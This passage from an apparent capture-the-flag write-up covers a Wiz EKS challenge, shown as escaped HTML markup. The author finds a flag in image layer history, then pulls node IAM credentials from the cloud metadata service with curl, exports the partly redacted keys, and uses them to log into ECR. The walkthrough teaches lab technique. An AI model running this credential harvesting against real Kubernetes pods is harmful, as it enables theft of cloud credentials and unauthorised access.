\"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}' \u003e /flag.txt # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"os\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"rootfs\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"diff_ids\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like they leaked the secret right there in the image layers:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ewiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo let us submit that and move onto the next one!\u003c/p\u003e\n\u003ch1\u003eChallenge 3\u003c/h1\u003e\n\u003cp\u003eThe hint is:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eA pod's image holds more than just code. Dive deep into its ECR repository,\ninspect the image layers, and uncover the hidden secret.\n\nRemember: You are running inside a compromised EKS pod.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis sounds very similar to the last one but with the hints that it is on ECR and\nthat we are in the pod itself it makes me believe we will have something like IRSA\naccess to AWS from the pod and need to use that to get to it.\u003c/p\u003e\n\u003cp\u003eFirst let us check what pods we are working with:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eaccounting-pod-876647f8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 37h\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo same as the last challenge, let us get the image and see what access we have:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e\"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich as expected, we do not have access to:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e fetching\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reading\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\":\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GET\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/manifests/sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e unexpected\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e status\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e code\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 401\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Unauthorized:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Authorized\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSince I expect the pod already has AWS access, let us check if the AWS CLI works:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eUnable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e locate\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e credentials.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e You\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configure\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e credentials\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e by\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e running\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"aws configure\".\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eCredentials are not configured right now, so we need to discover them. Let us\ncheck if we have metadata server access:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e http://169.254.169.254/latest/meta-data/iam\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003einfo\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esecurity-credentials/\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe do! So we should be able to pull the credentials out of there to get access\nto AWS:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -sS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Expiration\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-03 03:50:19+00:00\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SessionToken\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us set those as environment variables to activate our AWS access:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e AWS_ACCESS_KEY_ID\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e AWS_SECRET_ACCESS_KEY\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e AWS_SESSION_TOKEN\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"UserId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e:i-0cb922c6673973282\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Account\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we should be able to authenticate crane and inspect the image from ECR:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PASSWORD=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ecr\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-login-password\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e login\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $PASSWORD \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e688655246681.dkr.ecr.us-west-1.amazonaws.com\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 02:56:41\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logged\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e via\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us get those layers!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"architecture\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"config\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Env\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Cmd\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"OnBuild\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e null\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"history\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 